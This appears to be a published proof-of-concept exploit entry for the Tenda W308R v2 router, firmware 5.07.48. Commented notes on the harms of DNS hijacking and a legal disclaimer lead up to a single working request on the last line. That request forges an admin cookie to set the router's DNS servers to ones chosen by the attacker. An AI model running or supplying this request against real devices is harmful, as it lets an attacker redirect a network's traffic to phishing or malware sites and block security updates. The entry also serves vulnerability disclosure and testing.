Tenda W308R V2 wireless router version 5.07.48 remote DNS changer proof of concept exploit.
78c72a9c8bc7ea5d1b1ada749accd592#
#
# Tenda W308R v2 Wireless Router V5.07.48
# Cookie Session Weakness Remote DNS Change PoC
#
#
# Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
# https://ethical-hacker.org/
# https://facebook.com/ethicalhackerorg
#
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
#
# Disclaimer:
# This or previous programs is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
GET -H "Cookie: admin:language=en; path=/" "http://<TARGET>/goform/AdvSetDns?GO=wan_dns.asp&rebootTag=&DSEN=1&DNSEN=on&DS1=<DNS1>&DS2=<DNS2>" 2>/dev/null